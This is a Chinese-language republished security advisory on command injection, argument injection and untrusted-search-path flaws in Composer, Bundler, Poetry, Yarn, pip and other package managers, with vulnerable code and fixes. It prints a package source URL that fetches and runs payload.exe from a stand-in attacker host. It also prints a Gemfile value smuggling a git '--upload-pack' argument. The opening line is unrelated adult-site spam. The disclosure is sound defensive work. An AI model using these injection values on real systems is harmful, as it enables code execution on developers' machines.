自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

開(kāi)發(fā)人員保護(hù)工具包管理器中的三種常見(jiàn)漏洞

安全 漏洞
在這篇文章中,我們介紹了流行的包管理器中的三種類型的漏洞。我們舉例說(shuō)明了攻擊者如何使用它們來(lái)破壞開(kāi)發(fā)者機(jī)器,我們用代碼示例解釋了潛在問(wèn)題,并就如何避免類似問(wèn)題提出了建議。

開(kāi)發(fā)人員是網(wǎng)絡(luò)犯罪分子的一個(gè)有吸引力的目標(biāo),因?yàn)樗麄兛梢栽L問(wèn)公司的核心知識(shí)產(chǎn)權(quán)資產(chǎn):源代碼。入侵它們?cè)试S攻擊者進(jìn)行間諜活動(dòng)或?qū)阂獯a嵌入公司的產(chǎn)品中。這甚至可以用來(lái)發(fā)動(dòng)供應(yīng)鏈攻擊。

現(xiàn)代軟件開(kāi)發(fā)和幾乎所有編程語(yǔ)言生態(tài)系統(tǒng)的一個(gè)組成部分都是包管理器。它們有助于管理和下載第 3 方依賴項(xiàng),因此開(kāi)發(fā)人員必須確保這些依賴項(xiàng)不包含惡意代碼,因?yàn)樗鼈儠?huì)嵌入到他們構(gòu)建的產(chǎn)品中。但是,管理依賴項(xiàng)的行為通常不被視為具有潛在風(fēng)險(xiǎn)的操作,尤其是在啟用安全選項(xiàng)時(shí)。

為了幫助保護(hù)開(kāi)發(fā)者生態(tài)系統(tǒng),我們的研究人員開(kāi)始研究開(kāi)發(fā)者工具,這些工具可能會(huì)被攻擊者作為攻擊目標(biāo)來(lái)破壞開(kāi)發(fā)者機(jī)器。在本文中,我們討論了在一些最流行的包管理器中發(fā)現(xiàn)的漏洞。下周的文章將描述終端和廣泛使用的代碼編輯器中使用的 Git 集成中的漏洞。

它如何影響你

作為我們研究的結(jié)果,我們?cè)谝韵轮髁鞯陌芾砥髦邪l(fā)現(xiàn)了漏洞:

  • Composer 1.x < 1.10.23 和 2.x < 2.1.9(已修復(fù),CVE-2021-41116,1 未修復(fù))
  • Bundler < 2.2.33(已修復(fù),CVE-2021-43809)
  • Bower < 1.8.13(已修復(fù),CVE-2021-43796)
  • 詩(shī)歌 < 1.1.9(已修復(fù),CVE 待定)
  • Yarn < 1.22.13(已修復(fù),CVE 待定)
  • pnpm < 6.15.1(已修復(fù),CVE 待定)
  • 點(diǎn)(不固定)
  • Pipenv(未修復(fù))

我們描述的攻擊可能發(fā)生在兩種不同的場(chǎng)景中。在這兩種情況下,受害者都需要使用上述軟件包管理器之一處理惡意文件或軟件包。這意味著無(wú)法從遠(yuǎn)程直接針對(duì)開(kāi)發(fā)人員機(jī)器發(fā)起攻擊,并且需要誘騙開(kāi)發(fā)人員加載格式錯(cuò)誤的文件。但是,您能否始終了解并信任您從 Internet 或公司內(nèi)部存儲(chǔ)庫(kù)中使用的所有軟件包的所有者?

在第一種情況下,攻擊者會(huì)發(fā)布一個(gè)惡意包,然后讓受害者使用帶有該包名的 Composer 瀏覽命令。例如,這可能通過(guò)社會(huì)工程、拼寫(xiě)錯(cuò)誤或依賴混淆發(fā)生。我們?cè)? Composer 中發(fā)現(xiàn)了屬于這種情況的命令注入漏洞。惡意包過(guò)去曾被用于其他類型的攻擊,例如流行的 JavaScript 包“ua-parser-js”去年就感染了惡意代碼。

第二種情況要求受害者首先下載攻擊者控制的文件,然后對(duì)這些文件使用易受攻擊的包管理器之一。這需要攻擊者使用社會(huì)工程或?qū)阂馕募低捣湃胧芎φ咝湃蔚拇a庫(kù)中。我們發(fā)現(xiàn)了屬于這種情況的參數(shù)注入和不受信任的搜索路徑問(wèn)題。2021 年,類似的攻擊向量已被用于針對(duì)安全研究人員。攻擊者以希望合作開(kāi)展項(xiàng)目為借口,使用虛假 Twitter 帳戶將 Visual Studio 項(xiàng)目發(fā)送給受害者,這些項(xiàng)目在打開(kāi)時(shí)會(huì)執(zhí)行惡意軟件。

如果這些攻擊中的任何一個(gè)成功,攻擊者就可以在受害者的機(jī)器上運(yùn)行任何命令。例如,他們可以竊取或修改敏感數(shù)據(jù),例如源代碼或訪問(wèn)令牌,從而允許攻擊者將后門(mén)或惡意軟件放入代碼中或感染受害者可以訪問(wèn)的其他系統(tǒng)。

技術(shù)細(xì)節(jié)

在以下部分中,我們將解釋在幾個(gè)最流行的包管理器中發(fā)現(xiàn)的 3 種不同類型的漏洞;我們相信這些類型在包管理器中很普遍,并且這項(xiàng)研究可以應(yīng)用于任何新目標(biāo)。我們從發(fā)布惡意程序包的攻擊者可以使用的命令注入漏洞開(kāi)始。然后我們看一下參數(shù)注入和不受信任的搜索路徑漏洞,這些漏洞可用于誘騙受害者執(zhí)行惡意代碼。

Composer 中的命令注入

Composer 是 PHP 生態(tài)系統(tǒng)中領(lǐng)先的包管理器,是一個(gè)命令行應(yīng)用程序,它實(shí)現(xiàn)了幾個(gè)子命令,例如status、install和remove。開(kāi)發(fā)人員可以使用另一個(gè)子命令browse來(lái)輕松打開(kāi)包的源代碼和文檔。它需要一個(gè)包名作為其唯一參數(shù),然后將獲取該包的元數(shù)據(jù)并打開(kāi)設(shè)置為包主頁(yè)的 URL。這是按如下方式實(shí)現(xiàn)的:

src/Composer/Command/HomeCommand.php:

// [...]
$support = $package->getSupport();
$url = isset($support['source']) ? $support['source'] : $package->getSourceUrl();
// [...]

if (!$url || !filter_var($url, FILTER_VALIDATE_URL)) { // ← [1]
return false;
}

// [...]
$this->openBrowser($url); // ← [2]

檢查包的源字段是否為有效 URL(在[1]處),然后在瀏覽器中打開(kāi)(在[2]處)。打開(kāi)機(jī)制取決于操作系統(tǒng),并在前一個(gè)函數(shù)的下方實(shí)現(xiàn):

當(dāng)操作系統(tǒng)是 Windows 時(shí),命令是start "web" explorer ""。URL 在插入命令字符串之前被轉(zhuǎn)義,但轉(zhuǎn)義函數(shù)已經(jīng)在值周圍添加了雙引號(hào)。這會(huì)導(dǎo)致 URL 的雙重包裝,從而產(chǎn)生類似start "web" explorer ""http://example.com/""的命令。這導(dǎo)致該值在命令字符串中根本不會(huì)被轉(zhuǎn)義,從而可以插入更多命令,這稱為命令注入漏洞。

要利用這一點(diǎn),攻擊者必須發(fā)布包含源 URL 的包,例如:http ://example.com/&\attacker.com\Public\payload.exe

該值滿足作為有效 URL 的條件,至少根據(jù) PHP 的FILTER_VALIDATE_URL,但是當(dāng)受害者使用帶有惡意包名稱的瀏覽命令時(shí),會(huì)導(dǎo)致任意代碼執(zhí)行。假設(shè)攻擊者的包名為bad-pkg,他們使用上述源 URL 將其發(fā)布到 Composer 注冊(cè)表?,F(xiàn)在,如果任何用戶運(yùn)行composer browse bad-pkg,example.com將在他們的瀏覽器中打開(kāi),但也會(huì)在后臺(tái)靜默地從attacker.com的公共 SMB 共享中下載payload.exe并執(zhí)行。這為攻擊者提供了對(duì)受害者機(jī)器的訪問(wèn)權(quán)限以及發(fā)動(dòng)進(jìn)一步攻擊的能力。

Bundler 和 Poetry 中的參數(shù)注入

先前的漏洞是由于從用戶輸入中不安全地創(chuàng)建命令字符串造成的,這已被證明是一種容易出錯(cuò)的方法。通常更安全的替代方法是使用參數(shù)數(shù)組而不是命令字符串,但這樣做仍然可能出錯(cuò),正如我們將在本節(jié)中學(xué)習(xí)的那樣。

當(dāng)包管理器嘗試下載一個(gè)包時(shí),它可能來(lái)自多個(gè)可能的來(lái)源。通常的來(lái)源是包管理器的本地注冊(cè)表。但大多數(shù)包管理器還支持從本地文件路徑或 Git 存儲(chǔ)庫(kù)安裝包。后者通常通過(guò)調(diào)用一系列 Git 命令來(lái)實(shí)現(xiàn),例如git clone。

Git 是一個(gè)復(fù)雜的命令行工具,有很多選項(xiàng),所以就有了Argument Injections的可能性。當(dāng)參數(shù)之一應(yīng)該是位置參數(shù)時(shí),就會(huì)發(fā)生這種情況,但攻擊者可以將其變成可選參數(shù)。命令行應(yīng)用程序通過(guò)檢查參數(shù)是否以破折號(hào) ( - )開(kāi)頭來(lái)確定參數(shù)是位置的還是非位置的。

讓我們以 Ruby 生態(tài)系統(tǒng)中的包管理器 Bundler 為例。由于它使用用戶控制的參數(shù)調(diào)用 Git 命令的方式,它很容易受到攻擊:

def checkout
# [...]
configured_uri = configured_uri_for(uri).to_s
unless path.exist?
SharedHelpers.filesystem_access(path.dirname) do |p|
FileUtils.mkdir_p(p)
end
git_retry "clone", configured_uri, path.to_s, "--bare", "--no-hardlinks", "--quiet"
return unless extra_ref
end
# [...]
end

git_retry函數(shù)本質(zhì)上是使用提供的參數(shù)運(yùn)行 Git 命令。為了讓這個(gè)例子更簡(jiǎn)單,我們將在最后省略三個(gè)可選參數(shù)。checkout函數(shù)的正常執(zhí)行會(huì)導(dǎo)致執(zhí)行如下的 OS 命令:

exec("git", ["clone", "https://myrepo.com", "./destination-dir/"])

Git 遍歷這個(gè)參數(shù)列表,發(fā)現(xiàn)它們都不是以破折號(hào)開(kāi)頭,假設(shè)它們都是位置參數(shù),并將https://myrepo.com上的存儲(chǔ)庫(kù)克隆到目錄./destination-dir/中。

但是uri的值來(lái)自 Gemfile,因此攻擊者可能會(huì)通過(guò)創(chuàng)建如下所示的 Gemfile 來(lái)濫用它:

gem 'poc', git: '--upload-pack=payload.sh'

因此,uri是--upload-pack=payload.sh,這將導(dǎo)致git_retry運(yùn)行這個(gè) Git 命令:

exec("git", ["clone", "--upload-pack=payload.sh", "./destination-dir/"])

Git 將其理解為“將存儲(chǔ)庫(kù)克隆到本地路徑./destination-dir/,但使用payload.sh作為上傳包選項(xiàng)”。這將導(dǎo)致payload.sh或任何其他指定的命令的執(zhí)行。

Python 生態(tài)系統(tǒng)中的包管理器 Poetry 也容易受到相同類型的攻擊。許多其他的包管理器實(shí)現(xiàn)了類似的東西,但在我們的研究中由于細(xì)微的差異而沒(méi)有發(fā)現(xiàn)它們是可利用的。

Yarn、Pip、Composer 等中的不可信搜索路徑

同樣,即使通過(guò)使用參數(shù)列表而不是命令字符串來(lái)避免先前的漏洞,并確保不會(huì)注入不需要的參數(shù),還有另一件事可能會(huì)出錯(cuò)。對(duì)于此類漏洞,我們首先要了解 Windows 與其他操作系統(tǒng)在將命令名稱解析為正確的可執(zhí)行文件的方式上的區(qū)別。

當(dāng)使用相對(duì)或絕對(duì)路徑執(zhí)行命令時(shí),無(wú)需解析任何內(nèi)容,因?yàn)槁窂绞且阎?。但是,如果命令只是一個(gè)名稱,那么操作系統(tǒng)的工作就是查找并運(yùn)行與該名稱匹配的正確二進(jìn)制文件。在所有主要操作系統(tǒng)上,可能的位置都在PATH環(huán)境變量中設(shè)置。它包含系統(tǒng)將在其中查找與命令名稱匹配的可執(zhí)行文件的所有路徑。這種行為在所有主要操作系統(tǒng)中都是一致的,但 Windows 會(huì)考慮一個(gè)額外的位置:當(dāng)前工作目錄。它將在所有其他位置之前在那里查找可執(zhí)行文件,然后只使用PATH 。

例如,如果當(dāng)前目錄中有一個(gè)名為notepad.exe的文件,并且用戶啟動(dòng)了一個(gè)將執(zhí)行命令notepad %localappdata%\Temp\test.txt的程序,則將執(zhí)行本地notepad.exe而不是常規(guī)記事本可執(zhí)行文件位于C:\Windows\system32\notepad.exe。

這是許多開(kāi)發(fā)人員不知道的 Windows 怪癖,過(guò)去它導(dǎo)致了許多漏洞。每當(dāng)程序按名稱執(zhí)行命令但不確保PATH和當(dāng)前目錄中的文件是安全的時(shí),它就會(huì)創(chuàng)建一個(gè)不受信任的搜索路徑(CWE-426) 漏洞。

如前所述,許多包管理器允許引用來(lái)自 Git 存儲(chǔ)庫(kù)而不是其本地注冊(cè)表的包。因?yàn)闄z查 Git 存儲(chǔ)庫(kù)需要一些復(fù)雜的工作,所以這些包管理器不會(huì)自己實(shí)現(xiàn)這些,而只是運(yùn)行將為它們完成工作的 Git 命令。

查看 JavaScript 生態(tài)系統(tǒng)中流行的包管理器 Yarn,從 Git 存儲(chǔ)庫(kù)聲明依賴項(xiàng)將導(dǎo)致package.json文件如下所示:

{
"dependencies": {
"example": "git+https://github.com/example/example"
}
}

運(yùn)行yarn install時(shí),Yarn 會(huì)通過(guò) Git 從 GitHub下載示例包。在內(nèi)部,它將為此使用命令git clone git+ https://github.com/example/example。請(qǐng)注意,Git 是按名稱調(diào)用的,而不是使用相對(duì)或絕對(duì)路徑,因此當(dāng)在包含不受信任文件的目錄中執(zhí)行命令時(shí),這會(huì)產(chǎn)生不受信任的搜索路徑漏洞。如果目錄中有g(shù)it.exe文件,那么它將被執(zhí)行而不是安裝的 Git,從而導(dǎo)致執(zhí)行惡意代碼。

當(dāng)然,處理不受信任的文件總是很危險(xiǎn)的,即使用戶格外小心。通常,Yarn 的命令行選項(xiàng)--ignore-scripts會(huì)阻止第三方代碼的執(zhí)行,但它無(wú)助于阻止此類攻擊。來(lái)自 Git 存儲(chǔ)庫(kù)的依賴項(xiàng)也可以是完全合法的,因?yàn)橹匾氖峭ㄟ^(guò) Git 獲取它,而不是它的內(nèi)容是什么。

幾個(gè)流行的包管理器受此影響,即 Yarn、pnpm、Bower、Poetry、Composer、pip 和 pipenv。Composer 的維護(hù)人員決定不解決此問(wèn)題,因?yàn)樗麄兟暶鬟@超出了他們的威脅模型。Pip 和 Pipenv 也選擇不解決這個(gè)問(wèn)題,因?yàn)楦鶕?jù)他們的說(shuō)法,攻擊者可以通過(guò)其他幾種方式在相同的攻擊場(chǎng)景中獲得代碼執(zhí)行。

修補(bǔ)

為避免命令注入漏洞,我們建議僅在確實(shí)需要時(shí)才使用命令字符串。嘗試運(yùn)行帶有參數(shù)列表的命令。如果您確實(shí)需要使用命令字符串,請(qǐng)依賴內(nèi)置或受信任的第三方轉(zhuǎn)義函數(shù),而不是編寫(xiě)自己的轉(zhuǎn)義函數(shù)。確保不會(huì)像 Composer 那樣發(fā)生雙重包裝。在 PHP 中,在命令字符串中轉(zhuǎn)義 shell 參數(shù)的正確方法是使用escapeshellarg函數(shù):

$process->execute('start "web" explorer ' . escapeshellarg($url), $output);

為避免參數(shù)注入,請(qǐng)確保沒(méi)有參數(shù)以破折號(hào) ( - ) 開(kāi)頭。在實(shí)際執(zhí)行命令之前執(zhí)行此操作,并確保在檢查和執(zhí)行之間不會(huì)進(jìn)一步修改參數(shù)的值,因?yàn)檫@在過(guò)去導(dǎo)致了繞過(guò)。請(qǐng)注意,某些 Windows 應(yīng)用程序使用斜杠 ( / ) 而不是破折號(hào)來(lái)標(biāo)記可選參數(shù)的開(kāi)頭,因此請(qǐng)確保您知道您運(yùn)行的命令如何解釋參數(shù)并相應(yīng)地調(diào)整任何檢查。

另一種方法是在用戶控制的參數(shù)之前插入--作為單個(gè)參數(shù)。這充當(dāng)分隔符并告訴程序不應(yīng)將任何后續(xù)參數(shù)視為可選參數(shù)。由于這是在 POSIX 標(biāo)準(zhǔn)中定義的,因此請(qǐng)確保該命令符合 POSIX 標(biāo)準(zhǔn),否則可能無(wú)法正常工作。對(duì)于 Bundler,維護(hù)人員使用它來(lái)修復(fù)漏洞:

git_retry "clone", "--bare", "--no-hardlinks", "--quiet", "--", configured_uri, path.to_s

為避免Windows 上的不受信任的搜索路徑漏洞,如果可能,最簡(jiǎn)單的方法是在安全目錄中運(yùn)行命令。這就是 Rust 的包管理器 Cargo 檢查來(lái)自 Git 存儲(chǔ)庫(kù)的依賴項(xiàng)的方式。如果命令必須在當(dāng)前目錄中運(yùn)行,您應(yīng)該首先以安全的方式解析匹配的可執(zhí)行文件的路徑,然后使用該路徑運(yùn)行命令。

例如,Yarn 通過(guò)使用where命令(始終位于%WINDIR%\System32\where.exe來(lái)解析命令)修復(fù)了他們的漏洞。他們通過(guò)將一組可能的位置限制為PATH環(huán)境變量中定義的位置來(lái)排除當(dāng)前目錄。這是一種實(shí)現(xiàn)方式:

const { join } = require('path');
const { execFile } = require('child_process');

const WHERE_PATH = join(process.env.WINDIR, 'System32', 'where.exe');

async function resolveExecutableOnWindows(name) {
return new Promise((resolve, reject) => {
execFile(WHERE_PATH, [`$PATH:${name}`], (error, stdout, stderr) => {
if (error) {
return reject(error);
}
const [ firstMatch ] = stdout.split('\r\n');
resolve(firstMatch);
});
});
}

總結(jié)

在這篇文章中,我們介紹了流行的包管理器中的三種類型的漏洞。我們舉例說(shuō)明了攻擊者如何使用它們來(lái)破壞開(kāi)發(fā)者機(jī)器,我們用代碼示例解釋了潛在問(wèn)題,并就如何避免類似問(wèn)題提出了建議。

請(qǐng)記住定期更新所有工具,并在處理來(lái)自未知來(lái)源的文件時(shí)保持謹(jǐn)慎。我們強(qiáng)烈建議不要在不受信任的代碼庫(kù)上使用包管理器,即使具有禁用腳本執(zhí)行等安全功能。將所有第三方代碼和文件視為危險(xiǎn)的,如果您確實(shí)需要處理它們,我們建議在一次性虛擬機(jī)中這樣做。

我們要感謝我們報(bào)告問(wèn)題的所有項(xiàng)目的維護(hù)者。他們迅速回應(yīng)了我們的建議并修復(fù)了漏洞,或者花時(shí)間與我們討論他們?yōu)槭裁床粚⒛承〇|西視為漏洞。

責(zé)任編輯:趙寧寧 來(lái)源: FreeBuf.COM
相關(guān)推薦

2022-12-03 00:15:08

2022-08-11 10:10:36

開(kāi)發(fā)人員工作倦怠IT團(tuán)隊(duì)

2010-05-28 15:28:47

ibmdw軟件開(kāi)發(fā)

2010-08-09 16:09:25

2024-07-29 00:00:00

工具開(kāi)發(fā)envars

2015-09-15 10:42:06

2020-06-09 07:57:47

前端開(kāi)發(fā)代碼

2012-07-20 10:46:44

Web

2020-09-23 22:40:31

Python 開(kāi)發(fā)編程語(yǔ)言

2009-04-03 10:00:56

2020-05-12 08:06:27

React開(kāi)發(fā)JavaScript

2019-11-01 10:30:37

Reac測(cè)試工具開(kāi)源

2012-07-27 10:17:05

開(kāi)發(fā)

2018-07-27 15:30:32

編程語(yǔ)言PHP工具

2022-02-28 16:05:53

開(kāi)發(fā)RTOS數(shù)據(jù)

2022-06-27 07:42:15

Dendron開(kāi)發(fā)工具

2019-06-03 14:20:30

Java數(shù)據(jù)庫(kù)大數(shù)據(jù)工具

2015-04-30 09:12:39

微軟Azure開(kāi)發(fā)人員混合云

2021-08-07 15:38:07

開(kāi)發(fā)Java工具

2020-06-28 09:56:48

.NET開(kāi)發(fā)工具
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)